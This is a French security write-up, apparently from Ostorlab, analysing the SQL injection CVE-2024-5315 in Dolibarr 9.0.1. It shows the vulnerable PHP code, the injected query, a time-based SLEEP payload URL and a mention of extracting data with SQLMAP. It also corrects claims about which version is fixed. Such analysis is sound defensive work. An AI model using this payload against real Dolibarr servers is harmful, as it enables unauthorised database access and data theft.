Enquête sur l'injection SQL CVE-2024-5315 de Dolibarr
CVE-2024-5315, une injection SQL activement exploitée dans Dolibarr, avec une version corrigée indiquée de façon erronée.
Le 24 mai 2024, l'INCIBE a coordonné la publication d'une vulnérabilité de sévérité critique affectant Dolibarr, un système de gestion d'entreprise open source (ERP/CRM), et plus précisément la version 9.0.1. Cette vulnérabilité a été découverte par Rafael Pedrero.
Chez Ostorlab, nous avons rapidement traité le problème en ajoutant des capacités de détection à nos scanners. Cependant, l'INCIBE n'a publié aucun détail clair sur l'exploitation de la vulnérabilité ni sur la version corrigée. De plus, des publications de la communauté ont indiqué à tort que la version corrigée était la 9.0.2. Nous avons donc décidé de mener notre propre enquête.
Localisation de la vulnérabilité
Le code vulnérable se trouve dans le fichier htdocs/commande/list.php , où le paramètre viewstatut est injecté directement dans la requête SQL sans aucune validation.
$viewstatut = GETPOST('viewstatut')
if ($viewstatut < 4 && $viewstatut > -3) { if ($viewstatut == 1 && empty($conf->expedition->enabled)){
$sql .= ' AND c.fk_statut IN (1,2)'; // If module expedition disabled, include orders with status 'sending in process' into 'validated'
}
else{
$sql .= ' AND c.fk_statut = ' . $viewstatut;
}
$resql = $db->query($sql);
Privilèges requis :
L'auteur de la publication n'a pas précisé les privilèges nécessaires pour exploiter cette injection SQL. Certains articles affirment qu'il s'agit d'une injection SQL non authentifiée. Cependant, en examinant le point d'accès vulnérable, nous avons constaté qu'il requires ../main.inc.php, qui vérifie si le client est déjà authentifié.

Preuve de concept (PoC) :
Après avoir installé localement la version vulnérable de Dolibarr, nous avons réussi à prouver l'existence de la vulnérabilité.
Examinons d'abord comment notre entrée est reflétée dans la requête SQL.
Après avoir demandé /commande/list.php?viewstatut=testinjection, voici la requête finale interceptée juste avant son exécution :
SELECT s.rowid as socid, s.nom as name, s.email, s.town, s.zip, s.fk_pays,
s.client, s.code_client, typent.code as typent_code, state.code_departement
as state_code, state.nom as state_name, c.rowid, c.ref, c.total_ht,
c.tva astotal_tva, c.total_ttc, c.ref_client, c.date_valid, c.date_commande,
c.note_private, c.date_livraison as date_delivery, c.fk_statut,
c.facture as billed, c.date_creation as date_creation, c.tms as date_update,
p.rowid as project_id, p.ref as project_ref FROM llx_societe as s
LEFT JOIN llx_c_country as country on (country.rowid = s.fk_pays) LEFT JOIN
llx_c_typent as typent on (typent.id = s.fk_typent) LEFT JOIN
llx_c_departements as state on (state.rowid = s.fk_departement), llx_commande
as c LEFT JOIN llx_projet as p ON p.rowid = c.fk_projet WHERE c.fk_soc = s.rowid
AND c.entity IN (1) AND c.fk_statut = testinjection ORDER BY c.ref DESC LIMIT 26
Comme nous pouvons déjà injecter directement dans la requête finale, nous allons vérifier que la requête s'exécute sans problème.
Détection par temporisation :
Pendant les tests, nous avons pu construire un payload qui provoque bien un délai sur le serveur. L'URL demandée est la suivante :
http://localhost/commande/list.php?viewstatut=(SELECT%204498%20FROM%20(SELECT(SLEEP(0)))AgKS)

Exploitation :
Avec SQLMAP, nous avons pu extraire des données directement de la base de données.


Version corrigée
L'auteur de la publication d'origine n'a pas mentionné la version corrigée. Nous avons suivi l'historique du fichier vulnérable et trouvé le correctif dans ce commit de correctif.

Protéger votre organisation
Le projet KEV open source d'Ostorlab a ajouté une détection pour identifier les instances vulnérables. Le projet est disponible ici.